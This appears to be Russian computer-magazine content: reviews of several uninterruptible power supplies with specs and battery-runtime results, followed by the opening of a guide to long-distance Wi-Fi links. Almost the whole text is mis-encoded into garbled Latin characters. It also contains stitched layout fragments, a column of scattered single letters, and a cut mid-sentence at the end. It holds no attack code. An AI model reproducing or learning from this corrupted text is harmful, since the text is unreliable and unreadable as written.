æå áûëè çàãðóæåíû íåñêîëüêî ïðîèãðûâàòåëåé ìó-
çûêè è âèäåî, çàïóùåíû îôèñíûå ïðîãðàììû è îòê-
ëþ÷åíî âíåøíåå ïèòàíèå. Âîçìîæíîñòè îòêëþ÷èòü
ïèñê çâóêîâîãî èíäèêàòîðà íåò, ïîýòîìó ïðèøëîñü
òåðïåòü è ñëåäèòü çà ñåêóíäîìåðîì. Ñòîéêî ïðîäåð-
æàâøèñü 15 ìèíóò è 6 ñåêóíä, ÈÁÏ îòêëþ÷èë íàã-
ðóçêó è îñòàâèë ãîðÿùèì èíäèêàòîð ðàçðÿæåííûõ
áàòàðåé. Õîðîøåå âïå÷àòëåíèå îò ðàáîòû
Lighthouse base 800 ñìàçàëî îòñóòñòâèå ÏÎ â êîìï-
ëåêòå, õîòÿ ñêà÷àòü ñîôò ñ ñàéòà ðàçðàáîò÷èêà âîç-
ìîæíî, � áûëî áû ïîäêëþ÷åíèå.

Lighthouse
master 625
Òèï ÈÁÏ: Line-Interactive
Íîìèíàëüíàÿ ìîùíîñòü: 625 ÂÀ / 375 Âò
Ìîäåëü áàòàðåè: 12 Â/ 7À / 1 øò
Âåñ: 7.5 êã
Âûõîäû: 2 õ ýíåðãîíåçàâèñèìûå
Äîïîëíèòåëüíî: äâà ñâåòîäèîäíûõ èíäèêàòîðà
Çàùèòà òåëåôîííîé ëèíèè\LAN: åñòü, òåëåôîííàÿ ëèíèÿ
Êîìïëåêòàöèÿ: 2 øíóðà ïèòàíèÿ, 
òåëåôîííûé øíóð, com-øíóð

Âðåìÿ ðàáîòû îò áàòàðåé: 9:33

Áîëåå ïðîäâèíóòóþ ëèíåéêó Èñòî÷íèêîâ áåñïåðå-
áîéíîãî ïèòàíèÿ îò Lighthouse, ïðåäñòàâëÿþò äâà
óñòðîéñòâà ñåðèè master. Ìû âûáðàëè ìîùíóþ ìî-
äèôèêàöèþ èç ïðåäñòàâëåííûõ. Ïðîèçâîäèòåëü
ïîçèöèîíèðóåò äàííûå óñòðîéñòâà êàê ÈÁÏ äëÿ
ìîùíûõ êîìïüþòåðîâ èëè ìàëûõ ñåðâåðîâ. Äàí-
íàÿ ñåðèÿ îñíàùåíà çàùèòîé îò ïåðåãðóçîê è ïðî-
èçâîäèò òî÷íóþ êîððåêöèþ âõîäíîãî íàïðÿæåíèÿ.
«Íàñòîÿâøèñü» ñóòêè, àêêóìóëÿòîðû áûëè ìàêñè-
ìàëüíî çàðÿæåíû, è ìû ïåðåøëè ê ïîäêëþ÷åíèþ.
Âñåãî äâà âûõîäà íå ïîäðàçóìåâàþò ïîäêëþ÷åíèÿ
äîïîëíèòåëüíîãî îáîðóäîâàíèÿ, ïîìèìî ìîíèòîðà
è áëîêà. Íåóäîáíîé ïîêàçàëàñü êíîïêà âêëþ÷åíèÿ
ïèòàíèÿ � åå ïðèõîäèòñÿ óòàïëèâàòü ãëóáîêî, ÷òî
áóäåò íåóäîáíî ñäåëàòü ÷åëîâåêó ñ êðóïíûìè
ïàëüöàìè. Äèçàéíåðñêîå ðåøåíèå âíåøíåãî âèäà
ÈÁÏ âûëèëîñü â íå÷òî, ÷òî íåñêîëüêî íàïîìèíàåò
ãîëîâó ×óæîãî èç îäíîèìåííîãî ôèëüìà. Îòñóò-
ñòâèå ñîôòà, êîòîðûé âïîëíå ìîæíî áûëî âêëþ-
÷èòü â êîìïëåêò, òåì áîëåå, ÷òî êîììóíèêàöèîí-
íûé êàáåëü ïðèñóòñòâîâàë, íåñêîëüêî îãîð÷èëî.
Íàñòðîèâ òåñòîâûé ñòåíä, UPS áûë ëèøåí âíåø-
íåãî ïèòàíèÿ, è íà÷àëñÿ çàìåð âðåìåíè. Îòðàáî-
òàâ ÷óòü áîëüøå òðåõ ñ ïîëîâèíîé ìèíóò, ÈÁÏ
ñäàëñÿ, è ìîíèòîð ïîãàñ.
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Editor schoice

MGE Nova
600 AVR
Òèï ÈÁÏ: Line-Interactive
Íîìèíàëüíàÿ ìîùíîñòü: 600 ÂÀ / 360 Âò
Ìîäåëü áàòàðåè: 12 Â/ 7.2À / 1 øò
Âåñ: 6.8 êã
Âûõîäû: 3 õ ýíåðãîíåçàâèñèìûå
Äîïîëíèòåëüíî: äâà ñâåòîäèîäíûõ èíäèêàòîðà
Çàùèòà òåëåôîííîé ëèíèè\LAN: åñòü, òåëåôîííàÿ ëèíèÿ
Êîìïëåêòàöèÿ: 2 øíóðà ïèòàíèÿ, 
òåëåôîííûé øíóð, USB- øíóð

Âðåìÿ ðàáîòû îò áàòàðåé: 8:12

Ïîäêëþ÷èâ áëîê ê ñåòè, ìû ñðàçó îáíàðóæèëè ïîò-
ðåáëåíèå ýíåðãèè. Îêàçàëîñü, ÷òî ÈÁÏ îáëàäàåò
âîçìîæíîñòüþ ïîäçàðÿæàòü àêêóìóëÿòîðû äàæå â
âûêëþ÷åííîì ñîñòîÿíèè. Âçÿâ ìëàäøóþ ìîäåëü èç
ëèíåéêè (ñòàðøàÿ ìîäåëü íà 1100 ÂÀ), ìû íà÷àëè
òåñòèðîâàíèå. Ïîäêëþ÷èâ óñòðîéñòâî ê êîìïüþòåðó,
çàäåéñòâîâàâ USB-èíòåðôåéñ, ìû óñòàíîâèëè íåîá-
õîäèìûé ñîôò è ïðèíÿëèñü çà ðàáîòó. Íå ñëèøêîì
èíôîðìàòèâíîå ÏÎ òàêæå íåìíîãîñëîâíî, êàê è ñàì
ÈÁÏ. Âñåãî äâà ñâåòîäèîäíûõ èíäèêàòîðà, îäèí èç
êîòîðûõ îäíîâðåìåííî îáîçíà÷àåò ïåðåãðóçêó è ñåâ-
øèå áàòàðåè. Èñòî÷íèê èìååò òðè ðàçúåìà äëÿ ïîäê-
ëþ÷åíèÿ îáîðóäîâàíèÿ. Â êîìïëåêò ïîñòàâêè òàêæå
âêëþ÷åí òåëåôîííûé øíóð � ÈÁÏ óìååò çàùèùàòü
òåëåôîííóþ ëèíèþ îò ñêà÷êîâ íàïðÿæåíèÿ. Çàðÿäèâ
àêêóìóëÿòîðû è ïðîâåðèâ èõ åìêîñòü ïðè ïîìîùè
ÏÎ, îòêëþ÷èëè âíåøíåå ïèòàíèå. Ïåðåêëþ÷èâøèñü
íà ñîáñòâåííûå áàòàðåè, èíâåðòåð ÈÁÏ äîâîëüíî
øóìíî íà÷àë ñâîþ ðàáîòó. Ïðîäåðæàâøèñü 8 ìèíóò
12 ñåêóíä, ïîäà÷à ýíåðãèè óñòðîéñòâàì áûëà ïðåêðà-
ùåíà. Íå ñàìûé ëó÷øèé ðåçóëüòàò â òåñòå, íî ó÷èòû-
âàÿ âîçìîæíîñòü ïîäçàðÿäêè áàòàðåé äàæå â âûêëþ-
÷åííîì ñîñòîÿíèè (ïðè óñëîâèè ïîäêëþ÷åíèÿ ê ðî-
çåòêå), ìîæíî ñ÷èòàòü íåïëîõèì ðåøåíèåì â òîé
ñôåðå, ãäå íåò íåîáõîäèìîñòè â äëèòåëüíîì çàâåð-
øåíèè ïðîöåññà ðàáîòû.

MGE ellipse
premium
650
Òèï ÈÁÏ: Line-Interactive
Íîìèíàëüíàÿ ìîùíîñòü: 650 ÂÀ / 420 Âò
Ìîäåëü áàòàðåè: n/a
Âåñ: 9 êã
Âûõîäû: 4 õ ýíåðãîíåçàâèñèìûå
Äîïîëíèòåëüíî: òðè ñâåòîäèîäíûõ èíäèêàòîðà
Çàùèòà òåëåôîííîé ëèíèè\LAN: åñòü, LAN

Êîìïëåêòàöèÿ: 2 øíóðà ïèòàíèÿ, 
òåëåôîííûé øíóð, com- øíóð, USB- øíóð

Âðåìÿ ðàáîòû îò áàòàðåé: 21:07

Îäèí èç ñàìûõ îðèãèíàëüíûõ ÈÁÏ â íàøåì òåñòå. Ñêî-
ðåå ïîõîæèé íà èãðîâóþ ïðèñòàâêó, íåæåëè íà UPS, îí
îáëàäàåò íåîáû÷íûì íàáîðîì ôóíêöèé. Áëàãîäàðÿ
ðàáîòå äèçàéíåðîâ, ñîâìåñòíî ñ èíæåíåðàìè, äàííûé
èñòî÷íèê ìîæåò ïîñëóæèòü óêðàøåíèåì ëþáîãî ñòîëà.
Âîçìîæíî óñòàíàâëèâàòü åãî âåðòèêàëüíî èëè ãîðè-
çîíòàëüíî. Ïîìèìî ñâîèõ âíåøíèõ äàííûõ, îí îáëàäà-
åò îòëè÷íûìè òåõíè÷åñêèìè õàðàêòåðèñòèêàìè. Íàëè-
÷èå èòåðôåéñîâ, ïîäêëþ÷åíèÿ ê COM èëè USB ïîðòó,
ïðèÿòíî ðàäóåò. Çàùèòà ëîêàëüíîé ñåòè èëè òåëåôîí-
íîé ëèíèè òàêæå ïî ïëå÷ó äàííîìó óñòðîéñòâó. Íî
ãëàâíîé èçþìèíêîé ÿâëÿþòñÿ 4 åâðîðîçåòêè, êîòîðûå
ïîçâîëÿò ïîäêëþ÷àòü ghfrnbxtcrb ëþáûå óñòðîéñòâà,
òðåáóþùèå çàùèòû. Êíîïêà âêëþ÷åíèÿ ñëóæèò èíäè-
êàòîðîì àêòèâíîñòè ÈÁÏ. Ïîìèìî íåå, íà êîðïóñå ðàñ-
ïîëîæèëèñü 3 ñâåòîäèîäíûõ èíäèêàòîðà: ïåðåãðóçêà,
ðàáîòà îò áàòàðåé è ñåâøèå àêêóìóëÿòîðû. Ïðîãðàì-
ìíîå îáåñïå÷åíèå, èäóùåå â êîìïëåêòå, íå îòëè÷àåòñÿ
áîëüøîé ôóíêöèîíàëüíîñòüþ, íî âûäàåò ìèíèìóì íå-
îáõîäèìîé èíôîðìàöèè. Íàëè÷èå ðîçåòîê çíà÷èòåëü-
íî îáëåã÷àåò ïîäêëþ÷åíèå äðóãèõ óñòðîéñòâ, êîòîðûå
òîæå ñòîèò îáåðåãàòü îò ýíåðãåòè÷åñêèõ ñáîåâ. Ïðè èñ-
ïûòàíèÿõ óñòðîéñòâî ïðîäåðæàëîñü äîëüøå âñåõ, ñðå-
äè ÈÁÏ ñâîåãî «êëàññà» (ïîäðàçóìåâàåòñÿ êëàññ ìîù-
íîñòè) � 21 ìèíóòó è 7 ñåêóíä.

PCM BNT-
1000AP
Òèï ÈÁÏ: Line-Interactive
Íîìèíàëüíàÿ ìîùíîñòü: 1000 ÂÀ / 600 Âò
Ìîäåëü áàòàðåè: n/a
Âåñ: 13.4 êã
Âûõîäû: 4 õ ýíåðãîíåçàâèñèìûå, 1õ ôèëüòðàöèÿ
Äîïîëíèòåëüíî: îäèí ñâåòîäèîäíûé èíäèêàòîð
Çàùèòà òåëåôîííîé ëèíèè\LAN: åñòü, LAN
Êîìïëåêòàöèÿ: 2 øíóðà ïèòàíèÿ, 
òåëåôîííûé øíóð, com- øíóð, ñîôò

Âðåìÿ ðàáîòû îò áàòàðåé: 29:42

Ñàìûé ìîùíûé ÈÁÏ â íàøåì òåñòå. Íàëè÷èå âñåãî
îäíîé êíîïêè âêëþ÷åíèÿ ïèòàíèÿ è îäíîãî ñâåòîäè-
îäíîãî èíäèêàòîðà ïðèçâàíî óïðîñòèòü ðàáîòó ñ óñò-
ðîéñòâîì. Äîñòóï ê êíîïêå íåñêîëüêî çàòðóäíåí íàê-
ëàäêîé âîêðóã � ñäåëàíî ýòî äëÿ òîãî, ÷òîáû èçáå-
æàòü ñëó÷àéíîãî îòêëþ÷åíèÿ óñòðîéñòâà. Âíåøíèé
îñìîòð òàêæå âûÿâèë íàëè÷èå ÷åòûðåõ ðîçåòîê ñ ïè-
òàíèåì îò àêêóìóëÿòîðîâ, è îäíîé � ÷åðåç ôèëüòð.
Ïîäêëþ÷èâ ÈÁÏ ê ðîçåòêå, ìû óñëûøàëè çâóê, õà-
ðàêòåðíûé äëÿ ðàáîòàþùåãî òðàíñôîðìàòîðà. Îêà-
çàëîñü, ÷òî äàííûé ÈÁÏ îáëàäàåò âîçìîæíîñòüþ
çàðÿæàòüñÿ â âûêëþ÷åííîì ñîñòîÿíèè. Ïîäêëþ÷èâ
âñå íåîáõîäèìûå êàáåëè è óñòàíîâèâ UPSMon-ïðîã-
ðàììó, èäóùóþ â êîìïëåêòå, íà÷àëè ïîäãîòîâêó 
ê òåñòèðîâàíèþ. Çàïóñòèâ âåñü íåîáõîäèìûé ñîôò,
îòêëþ÷èëè âíåøíåå ïèòàíèå è ïåðåøëè íà ðàáîòó îò
áàòàðåé. Ãðîìêîñòü èíâåðòåðà, óñòàíîâëåííîãî PCM
BNT-1000AP äàåò ïîíÿòü, ÷òî ðàññ÷èòàí îí íà âûñî-
êîïðîèçâîäèòåëüíûå ñèñòåìû, êîòîðûå íå ïðèçâàíû
áûòü ñàìûìè òèõèìè. Ïðîùå ãîâîðÿ, ñàìûé êðóï-
íûé, ìîùíûé è øóìíûé ÈÁÏ â òåñòå. Ïîêàçàâ îò-
ëè÷íîå âðåìÿ ïî÷òè â 30 ìèíóò àâòîíîìíîé ðàáîòû,
ÈÁÏ îòêëþ÷èëñÿ. Ñîôò, èäóùèé â êîìïëåêòå, çàñëó-
æèâàåò îòäåëüíîãî îïèñàíèÿ. Ðóññêîÿçû÷íûé, 
ñ áîëüøèì êîëè÷åñòâîì íàñòðîåê è èíäèêàöèåé âñåõ
ïàðàìåòðîâ, îí óäîâëåòâîðèò çàïðîñû ñàìûõ âçûñ-
êàòåëüíûõ ïîëüçîâàòåëåé. Âîçìîæíîñòü ïîñòðîåíèÿ
ãðàôèêîâ è âåäåíèÿ ëîãîâ ïðèãîäèòñÿ àäìèíèñòðà-
òîðàì. Ìîùíîñòü ÈÁÏ ïîçâîëÿåò ïîäêëþ÷èòü íå
îäèí êîìïüþòåð ê çàùèòå.
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IPPON Smart
Protect PRO
700
Òèï ÈÁÏ: Line-Interactive
Íîìèíàëüíàÿ ìîùíîñòü: 700 ÂÀ / 480 Âò
Ìîäåëü áàòàðåè: n/a
Âåñ: 14 êã
Âûõîäû: 4 õ ýíåðãîíåçàâèñèìûå 
Äîïîëíèòåëüíî: øåñòü ñâåòîäèîäíûõ èíäèêàòîðîâ
Çàùèòà òåëåôîííîé ëèíèè\LAN: åñòü, LAN èëè òåëåôîí
Êîìïëåêòàöèÿ: 3 øíóðà ïèòàíèÿ, 
òåëåôîííûé øíóð, com- øíóð, ñîôò

Âðåìÿ ðàáîòû îò áàòàðåé: 27:25

Âñåì ñâîèì âèäîì, äàííûé ÈÁÏ äàåò ïîíÿòü, ÷òî îí
ñîçäàí äëÿ ñåðüåçíûõ ëþäåé è ïðèçâàí âûïîëíÿòü
ñåðüåçíûå çàäà÷è. Áîëüøîé âåñ óñòðîéñòâà è âåíòè-
ëÿöèîííûå îòâåðñòèÿ çàñòàâëÿþò çàäóìàòüñÿ î ìåñ-
òå óñòàíîâêè IPPON Smart Protect PRO 700. Ïåðåäíÿÿ
ïàíåëü îñíàùåíà öåëûì áëîêîì ñâåòîäèîäíûõ èíäè-
êàòîðîâ: çäåñü ïðèñóòñòâóåò êàê èíäèêàòîð ðàáîòû,
èíäèêàòîð îøèáîê, òàê è íàáîð ñâåòîäèîäîâ, îòîáðà-
æàþùèé óðîâåíü çàðÿäà áàòàðåé. Äâå êíîïêè �
âêëþ÷åíèÿ è óïðàâëåíèÿ óñòðîéñòâîì òàêæå ðàñïî-
ëîæèëèñü íà ïåðåäíåé ïàíåëè. Çàäíÿÿ ïàíåëü íàì
îòêðûâàåò 4 çàùèùåííûå ðîçåòêè, ïîðò RS-232 è
âåíòèëÿòîð ñèñòåìû îõëàæäåíèÿ. Ðàáîòàåò îí ëèøü
â ñëó÷àÿõ àêòèâíîãî ïðåîáðàçîâàòåëÿ òîêà, ÷òî áû-
âàåò â ñëó÷àå îòêëþ÷åíèÿ âíåøíåãî ïèòàíèÿ. Ïîäê-
ëþ÷èâ âñå óñòðîéñòâà è óñòàíîâèâ ÏÎ, ìû ïîíÿëè,
÷òî ïðîèçâîäèòåëü ïîäîøåë ñåðüåçíî êî âñåìó.
Ñîôò ïîçâîëÿåò âåñòè ó÷åò ïðîèñõîäÿùåãî íå òîëüêî
ñ äàííûì ÈÁÏ, íî è ñ äðóãèìè � áûëà áû ëîêàëüíàÿ
ñåòü. Ëîãè ïðîèñõîäÿùåãî ìîæíî âûñûëàòü íåñêîëü-
êèìè ïóòÿìè � â îáùåì, îòëè÷íûé ñîôò äëÿ àäìèíè-
ñòðàòîðà áîëüøîé ðàáî÷åé ãðóïïû ñ ñåðüåçíûìè çà-
äà÷àìè. Íåñìîòðÿ íà ðàçíèöó 300 ÂÀ â ìîùíîñòè,
ýòîò UPS íå äîòÿíóë äî PCM BNT-1000AP âñåãî ïàðó
ìèíóò. Âîçìîæíîñòü ïî âûáîðó çàùèùàòü òåëåôîí-
íóþ ëèíèþ èëè LAN äîáàâëÿåò óâàæåíèÿ. Ðàçî÷àðî-
âàë ëèøü ñïîñîá ïîäêëþ÷åíèÿ � óñòàðåâøèé RS-
232. Âïîëíå âîçìîæíî, ÷òî íà ñîâðåìåííûõ ìàøè-
íàõ, ê êîòîðûì ñêîðåå âñåãî êóïÿò äàííûé ÈÁÏ, ìî-
æåò íå îêàçàòüñÿ ñâîáîäíîãî COM-ïîðòà.

APC Back-
UPS ES 525
Òèï ÈÁÏ: Line-Interactive
Íîìèíàëüíàÿ ìîùíîñòü: 525 ÂÀ / 300 Âò
Ìîäåëü áàòàðåè: n/a
Âåñ: 7 êã
Âûõîäû: 3 õ ýíåðãîíåçàâèñèìûå, 1õ ôèëüòðàöèÿ
Äîïîëíèòåëüíî: ñâåòîäèîäíûé èíäèêàòîð
Çàùèòà òåëåôîííîé ëèíèè\LAN: åñòü, òåëåôîí
Êîìïëåêòàöèÿ: òåëåôîííûé øíóð, USB- øíóð, ñîôò

Âðåìÿ ðàáîòû îò áàòàðåé: 8:18

ÈÁÏ íàïîìèíàåò ñêîðåå áîëüøîé ñåòåâîé
ôèëüòð, íåæåëè Èñòî÷íèê Áåñïåðåáîéíîãî Ïè-
òàíèÿ. Ñìåííûé àêêóìóëÿòîð äîñòóïåí ïîä
êðûøêîé íà íèæíåé ÷àñòè óñòðîéñòâà. Íà
âåðõíåé ðàñïîëîæåí âûêëþ÷àòåëü è ñâåòîäè-
îäíûé èíäèêàòîð ñîñòîÿíèÿ. 3 çàùèùåííûå
ðîçåòêè è îäíà ðîçåòêà ñ ôèëüòðàöèåé ïðèç-
âàíû ñîõðàíÿòü ïîäêëþ÷åííûå äåâàéñû. Ñòî-
èò îáðàòèòü âíèìàíèå � èìåííî ðîçåòêè, òàê
÷òî òû ñìåëî ìîæåøü ïîäêëþ÷èòü õîòü ïûëå-
ñîñ, åñëè áîèøüñÿ íå çàêîí÷èòü óáîðêó ê âîçâ-
ðàùåíèþ ðîäèòåëåé äîìîé. Çàùèòà òåëåôîí-
íîé ëèíèè òàêæå ïðèãîäèòñÿ, åñëè ÷àñòî â òâî-
åì ðàéîíå áûâàþò ãðîçû, èëè òû îïàñàåøüñÿ
ñàáîòàæíèêîâ. Ïîäêëþ÷àåòñÿ óñòðîéñòâî ïî
øèíå USB, ÷òî íå ìîæåò íå ðàäîâàòü � âñå
êîìïüþòåðû îñíàùåíû äàííûì èíòåðôåéñîì.
Ñîôò, èäóùèé â êîìïëåêòå, äîâîëüíî èíôîð-
ìàòèâåí è ïîääåðæèâàåò ðóññêèé ÿçûê. Ïîðà-
äîâàëà ñêîðîñòü çàðÿäà àêêóìóëÿòîðîâ � ïðè
ïîëíîé ðàçðÿäêå, îíè âîññòàíàâëèâàþò 95%
åìêîñòè çà 4 ÷àñà. Íåáîëüøîå âðåìÿ ðàáîòû â
àâòîíîìíîì ðåæèìå, íåñêîëüêî áîëüøå 8 ìè-
íóò, ìîæíî êîìïåíñèðîâàòü áûñòðîé çàðÿäêîé
� îòëè÷íûé âàðèàíò â ìåñòàõ ñ íåñòàáèëüíûì
ïèòàíèåì. Ñîáðàâ âîåäèíî ïëþñû è ìèíóñû,
ìîæíî ñêàçàòü, ÷òî äàííîå óñòðîéñòâî îòëè÷-
íî ïîäõîäèò äëÿ çàùèòû íå òîëüêî êîìïüþòå-
ðîâ, íî è îôèñíîé òåõíèêè. Îñíîâíàÿ çàäà÷à
APC Back-UPS ES 525 � äàòü âîçìîæíîñòü
ñîõðàíèòü âñå äîêóìåíòû è îòïðàâèòü ôàêñ
ýëåêòðèêàì ñ ïðåòåíçèåé î ñðî÷íîì âîññòà-
íîâëåíèè ýëåêòðîñíàáæåíèÿ.

$115 $66



[äåâàéñ äåâàéñó � ðîçíü]
Ñêàæó ÷åñòíî: êàíèòåëü ñ Wi-Fi ìî-
æåò âûéòè ïðèëè÷íàÿ. È â ïåðâóþ
î÷åðåäü ýòî îòíîñèòñÿ ê âûáîðó
ïîäõîäÿùåãî îáîðóäîâàíèÿ. Íà
ðûíêå ïðåäñòàâëåíî îãðîìíîå
ðàçíîîáðàçèå ðàçëè÷íûõ Wi-Fi-
àäàïòåðîâ, òî÷åê äîñòóïà, àíòåíí,
óñèëèòåëåé è ïðî÷èõ ïðèìî÷åê,
ïðîèçâåäåííûõ êàê çà ãðàíèöåé,
òàê è íàøèìè ÍÈÈ. È âûáîð äàëå-
êî íå âñåãäà î÷åâèäåí. Ïîïðîáóé
ñõîäó ñêàæè, êàêîãî óñèëåíèÿ àí-
òåííû áóäåò äîñòàòî÷íî äëÿ óâå-
ðåííîãî ïðèåìà, è êàêàÿ òî÷êà
äîñòóïà ëó÷øå ñïðàâèòñÿ ñî ñâîè-
ìè çàäà÷àìè â äàííîé ìåñòíîñòè.
Òðóäíîñòü çàêëþ÷àåòñÿ åùå è â
òîì, ÷òî äåâàéñû äàæå îäíîé ìîäåëè ìîãóò áûòü íåñêîëüêî ðàç ìîäèôè-
öèðîâàíû (âïëîòü äî èçìåíåíèÿ èñïîëüçóåìîãî ÷èïñåòà) è ïðîäàâàòüñÿ
ñ ðàçëè÷íûìè ïðîøèâêàìè. Ïîëó÷àåòñÿ, ÷òî îäíà è òà æå ìîäåëü èíîé
ðàç âåäåò ñåáÿ àáñîëþòíî ïî-ðàçíîìó. Îòñþäà è èäóò âñåâîçìîæíûå
ñïîðû íà ôîðóìàõ, êîãäà îäèí ÷åëîâåê óòâåðæäàåò, ÷òî ïîäíÿë ñòàáèëü-
íûé ëèíê íà ðàññòîÿíèè 2 êì, à äðóãîé óäèâëÿåòñÿ, ïî÷åìó òå æå êàðòî÷-
êè îòâðàòíî ðàáîòàþò äàæå íà îäíîì ñòîëå. Ïîïðîáóåì ðàçîáðàòüñÿ, êà-
êîå èìåííî îáîðóäîâàíèå íàì íåîáõîäèìî.

[áåñïðîâîäíûå àäàïòåðû] Ýòî ñàìîå ïðèìèòèâíîå Wi-Fi-óñòðîé-
ñòâî. Àäàïòåðû èìåþò íåáîëüøóþ àêêóðàòíóþ àíòåííó, áëàãîäàðÿ êîòî-
ðîé ïðîèçâîäèòñÿ ïîäêëþ÷åíèå ê ìåñòíîé áåñïðîâîäíîé ñåòè. Òàêèå
äåâàéñû ñåé÷àñ âñòðàèâàþòñÿ ïîâñåìåñòíî: â ìàòåðèíñêèå ïëàòû, êàð-
ìàííûå ÏÊ, íîóòáóêè, ïðèíòåðû è äàæå ñìàðòôîíû. Ïîäêëþ÷àåìûå Wi-

[ñâÿçàòü äâå ñåòêè] Èòàê, åñòü íåñêîëü-
êî âàðèàíòîâ ðåøåíèé ýòîé çàäà÷è:

1 Ïîäêëþ÷èòü îáà îáúåêòà ê âûñîêîñêîðîñò-
íîìó âûäåëåííîìó êàíàëó è íàëàäèòü VPN-ñî-
åäèíåíèå. Â ýòîì ñëó÷àå êàæäîìó ïðèäåòñÿ
îïëà÷èâàòü àáîíåíòêó, à â ñëó÷àå èñïîëüçîâà-
íèÿ ðàçëè÷íûõ ïðîâàéäåðîâ � îòäàâàòü îã-
ðîìíûå äåíüãè çà òðàôèê (ïðè ðàáîòå ÷åðåç
îäíîãî è òîãî æå ïðîâà òðàôèê ñ÷èòàåòñÿ
âíóòðåñåòåâûì è îáû÷íî íå òàðèôèöèðóåòñÿ).
Ñ äðóãîé ñòîðîíû, ýòî íàäåæíîå ñîåäèíåíèå ñ
ãàðàíòèðîâàííîé ñêîðîñòüþ, îãðàíè÷åííîé
ëèøü âîçìîæíîñòÿìè èñïîëüçóåìûõ âûäåëåí-
íûõ ëèíèé. Ñ íàñòðîéêîé òàêîãî ñîåäèíåíèÿ
ñïðàâèòñÿ ëþáîé îïûòíûé àäìèíèñòðàòîð.
Ñïðàâèøüñÿ è òû, åñëè ïðî÷èòàåøü ñîîòâåò-
ñòâóþùèå ñòàòüè â Õ :).

2 Ïðîëîæèòü îïòîâîëîêíî èëè ìåäü ïî êàíà-
ëèçàöèè, âîñïîëüçîâàâøèñü óñëóãàìè ãîðîäñ-
êèõ ñëóæá. Äåëî äîðîãîå è íåáëàãîäàðíîå: äëÿ
ýòîãî íóæíî öåëàÿ êó÷à ðàçðåøåíèé, ëèöåíçèé
è ñâÿçåé. Õîòÿ òàêîé êàíàë è ÿâëÿåòñÿ èäåàëü-
íûì âàðèàíòîì, íî äëÿ îáû÷íûõ ñìåðòíûõ åä-
âà ëè îñóùåñòâèì. Äà è âëåòèò ýòî â êîïåå÷êó,
êàê, âïðî÷åì, è àðåíäà ñóùåñòâóþùèõ êîììó-
íèêàöèé. Îñòàâèì ýòîò ñïîñîá ïðîôåññèîíàëü-
íûì ñâÿçèñòàì.

3 Ñâÿçàòü îáúåêòû ïî ðàäèîêàíàëó. Ýòî òðåáó-
åò îòíîñèòåëüíî íåáîëüøèõ ðàçîâûõ âëîæå-
íèé, íî çàòî ïðè óäà÷íîì ñòå÷åíèè îáñòîÿ-
òåëüñòâ âûéäåò ñòàáèëüíûé êàíàë ñ ïðèëè÷íîé
ïðîïóñêíîé ñïîñîáíîñòüþ. Ê íåäîñòàòêàì ìîæ-
íî îòíåñòè íåîáõîäèìîñòü ðåãèñòðàöèè ðàäèî-
ñðåäñòâ â ãîññâÿçüíàäçîðå è ïîëó÷åíèå ðàçðå-
øåíèé íà èñïîëüçîâàíèå ÷àñòîò. Áîëåå òîãî,
ñêîðîñòü ïåðåäà÷è äàííûõ è ïîòåðè â êàíàëå
ìîãóò ñèëüíî çàâèñåòü îò ðåëüåôà ìåñòíîñòè,
«çàãðóæåííîñòè» ýôèðà è ïîãîäíûõ óñëîâèé.
Ãàðàíòèðîâàòü 100% óñïåõ íèêòî íå áóäåò, íî
ýòî åäèíñòâåííûé äîñòóïíûé äëÿ íàñ âàðèàíò.
Åãî ìû è ðàññìîòðèì!

022
ÍÀØÀ ÇÀÄÀ×À ÍÀ ÑÅÃÎÄÍß � ÑÂßÇÀÒÜ ÌÅÆ-
ÄÓ ÑÎÁÎÉ ÄÂÀ ÓÄÀËÅÍÍÛÕ ÎÁÚÅÊÒÀ (ËÎ-
ÊÀËÜÍÛÅ ÑÅÒÈ ÈËÈ ÏÐÎÑÒÎ ÎÄÈÍÎ×ÍÛÕ
ÊËÈÅÍÒÎÂ). Ê ÑÎÆÀËÅÍÈÞ, ÂÎÇÌÎÆÍÎÑÒÈ
ÑËÈÍÊÎÂÀÒÜÑß ÍÀÏÐßÌÓÞ ÍÅÒ, ÒÀÊ ÊÀÊ
ÝÒÎÌÓ ÌÅØÀÅÒ ÑËÈØÊÎÌ ÁÎËÜØÎÅ ÐÀÑ-
ÑÒÎßÍÈÅ ÈËÈ ÍÅÏÐÅÎÄÎËÈÌÎÅ ÏÐÅÏßÒ-
ÑÒÂÈÅ (ÐÅÆÈÌÍÛÉ ÎÁÚÅÊÒ È Ò.Ï.). ÂÀÐÈÀÍ-
ÒÎÂ ÐÅØÅÍÈß ÏÎÑÒÀÂËÅÍÍÎÉ ÇÀÄÀ×È ÍÅÑ-
ÊÎËÜÊÎ | Ñòåïàí Èëüèí aka Step (step@real.xakep.ru)

Þ
Í

È
Ò

Û
Ê

Ð
Å

À
Ò

È
Ô

Ô
Ê

Î
Ä

È
Í

Ã
U

N
IX

O
ID

Ñ
Ö

Å
Í

À
Â

Ç
Ë

Î
Ì

È
Ì

Ï
Ë

À
Í

Ò
P

C
_Z

O
N

E
Í

Ü
Þ

Ñ
Û

Çà òòðèäåâÿòü
çåìåëü

F
E

R
R

U
M

Ðóêîâîäñòâî 
ïî ïîäíÿòèþ Wi-Fi 
íà áîëüøîì ðàññòîÿíèè

Â Àìåðèêå åæåãîäíî ïðî-
õîäÿò ñîðåâíîâàíèÿ Defcon
WiFi Shootout, ãäå êàæäîìó
æåëàþùåìó ïðåäîñòàâëÿ-
åòñÿ âîçìîæíîñòü ïîïðî-
áîâàòü óñòàíîâèòü Wi-Fi-
ñîåäèíåíèå íà ðåêîðäíî
áîëüøîì ðàññòîÿíèè. Â
ïðîøëîì ãîäó ýòè ñîðåâ-
íîâàíèÿ ïðîõîäèëè â ïóñ-
òûíå Íåâàäà, ãäå òðîå
þíîøåé óñòàíîâèëè ñâÿçü
íà ðàññòîÿíèè 89(!) êì. Â
êà÷åñòâå àíòåíí èñïîëüçî-
âàëèñü îáû÷íûå ñïóòíèêî-
âûå òàðåëêè ñî ñïåöèàëü-
íûìè îáëó÷àòåëÿìè.



Fi-àäàïòåðû âûïîëíåíû â ñîîòâåòñòâèè ñ òåìè
æå ñïåöèôèêàöèÿìè, ÷òî îáû÷íûå ñåòåâûå
ïëàòû. Ïîýòîìó áåç òðóäà ìîæíî ïîäîáðàòü
Wi-Fi PCMCIA-àäàïòåð äëÿ ñâîåãî ñòàðåíüêîãî
íîóòáóêà èëè æå PCI-âàðèàíò â äîìàøíèé
êîìïüþòåð. À åñëè â êîìïüþòåðå íåò ñâîáîä-
íîãî PCI-ñëîòà, òî ñ çàäà÷åé íå õóäøèì îáðà-
